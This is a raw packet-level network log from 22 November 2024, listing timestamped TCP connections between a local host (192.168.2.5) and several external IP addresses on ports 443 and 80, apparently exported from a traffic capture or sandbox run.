Nov 22, 2024 23:06:43.715260983 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.715691090 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.715709925 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.716068029 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.716666937 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.716666937 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.716694117 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.716744900 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.740788937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:43.740863085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:43.740875006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.740917921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.741076946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:43.741142988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.743594885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:43.745856047 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:43.746792078 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:43.746819019 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:43.747425079 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:43.747431040 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:43.747528076 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:43.747536898 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:43.757158041 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.824429989 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.824749947 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.824774981 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.825228930 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.825548887 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.825635910 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.825701952 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.831919909 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.833832026 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.833854914 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.834932089 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.835287094 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.835287094 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.835374117 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.837827921 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.863082886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:43.871330023 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.883333921 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.887219906 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:43.887238979 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:43.934093952 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.002893925 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.003416061 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.003442049 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.003923893 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.003933907 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.043230057 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.054110050 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.054143906 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.054759979 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.054766893 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.106040955 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.106103897 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:44.106513977 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.107604027 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.107629061 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:44.111043930 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.111090899 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:44.111211061 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.111495018 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:44.111510992 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:44.131078959 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.133160114 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.133188009 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.133769989 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.133776903 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.205586910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:44.205780983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:44.219160080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:44.257854939 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.259191036 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.259231091 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.259671926 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.259680986 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.301119089 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301153898 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301162958 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301181078 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301201105 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.301203012 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301223993 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.301235914 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.301254988 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.301269054 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.331208944 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.331625938 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.331645966 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.332082033 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.332087994 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.338707924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:44.390428066 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.390463114 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.390505075 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.390520096 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.390557051 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.390574932 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.398560047 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.398632050 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.419641972 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419667959 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419675112 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419707060 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419724941 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419738054 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419749022 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.419769049 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.419792891 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.419851065 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.446929932 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.447004080 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.447072983 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.447236061 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.447252989 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.447263002 CET	49883	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.447268963 CET	443	49883	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.449970007 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.450006008 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.450083971 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.450278997 CET	49893	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.450289011 CET	443	49893	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.477071047 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.477102041 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.477262020 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.477287054 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.477344990 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.477344990 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.485800982 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.485831022 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.485853910 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.485889912 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.485909939 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.485927105 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.485949993 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.497442007 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.497523069 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.497590065 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.527396917 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.527421951 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.527441978 CET	49886	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.527451992 CET	443	49886	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.535870075 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.535909891 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.535950899 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.535970926 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.535995960 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.536010027 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.541383982 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.541428089 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.542229891 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.542280912 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.542401075 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.543107986 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.543122053 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.543152094 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.543195009 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.543214083 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.543243885 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.543317080 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.543493986 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.543514013 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.548995972 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.549067974 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.568419933 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.568454027 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.568496943 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.568516016 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.568537951 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.568557978 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.580152988 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.580216885 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.583174944 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.583261013 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.583333969 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.587807894 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.587865114 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.587883949 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.587913036 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.587956905 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.592438936 CET	49887	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.592457056 CET	443	49887	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.615858078 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.615858078 CET	49884	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.615894079 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.615907907 CET	443	49884	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.619640112 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.619688034 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.619755030 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.620008945 CET	49895	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.620021105 CET	443	49895	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.630007029 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.630038977 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.630126953 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.630126953 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.630146027 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.630203009 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.704309940 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.704344988 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.704391003 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.704411030 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.704431057 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.704458952 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.717498064 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.717561007 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.717735052 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.717773914 CET	49885	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.717791080 CET	443	49885	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.721326113 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.721362114 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.721468925 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.721690893 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.721705914 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.734478951 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.734539032 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.734582901 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.734601021 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.734635115 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.734657049 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.735749960 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.735778093 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.735843897 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.735855103 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.735903025 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.735903025 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.743772030 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.743846893 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.748364925 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.748467922 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.761231899 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.761260986 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.761306047 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.761379957 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.761394024 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.761394978 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.761455059 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.762720108 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.762720108 CET	49882	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.762737989 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.762747049 CET	443	49882	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.765022039 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.765043974 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.765149117 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.765166044 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.765239954 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.774832964 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.774913073 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.774967909 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.775137901 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.775162935 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.775182962 CET	49890	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.775192022 CET	443	49890	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.775465965 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.775484085 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.775538921 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.775551081 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.775583982 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.775671959 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.783534050 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.783559084 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.783647060 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.783663034 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.783874989 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.797781944 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.797816038 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.797904015 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.798094988 CET	49897	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:44.798109055 CET	443	49897	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:44.860292912 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.860311031 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.860423088 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.860444069 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.860491991 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.870759964 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.870796919 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.870935917 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.871500015 CET	49898	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:44.871521950 CET	443	49898	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:44.915637016 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.915734053 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.915750027 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.915822983 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.916439056 CET	49888	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.916455984 CET	443	49888	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.923095942 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.923222065 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.939920902 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.939968109 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.940006971 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.940053940 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:44.940095901 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.940095901 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.940095901 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.940608978 CET	49889	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:44.940624952 CET	443	49889	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:45.051423073 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.051461935 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.051683903 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.051971912 CET	49899	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.051986933 CET	443	49899	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.101843119 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.101892948 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.102086067 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.102741957 CET	49900	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.102761984 CET	443	49900	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.180655003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:45.180747032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:45.244091034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:45.363759995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:45.701158047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:45.701246023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:45.707344055 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:45.826806068 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:45.827085018 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:45.827157021 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:45.830729961 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.831125021 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.831154108 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.831640005 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.832072020 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.832155943 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.832319021 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.832319021 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.832360983 CET	443	49892	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.876384974 CET	49892	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.928489923 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.928878069 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.928915024 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.929490089 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.929928064 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.930027008 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.930126905 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.930553913 CET	49891	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:45.930592060 CET	443	49891	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:45.946594954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:46.258716106 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.267760992 CET	49894	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:46.267775059 CET	443	49894	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:46.268419027 CET	49894	443	192.168.2.5	13.107.246.63
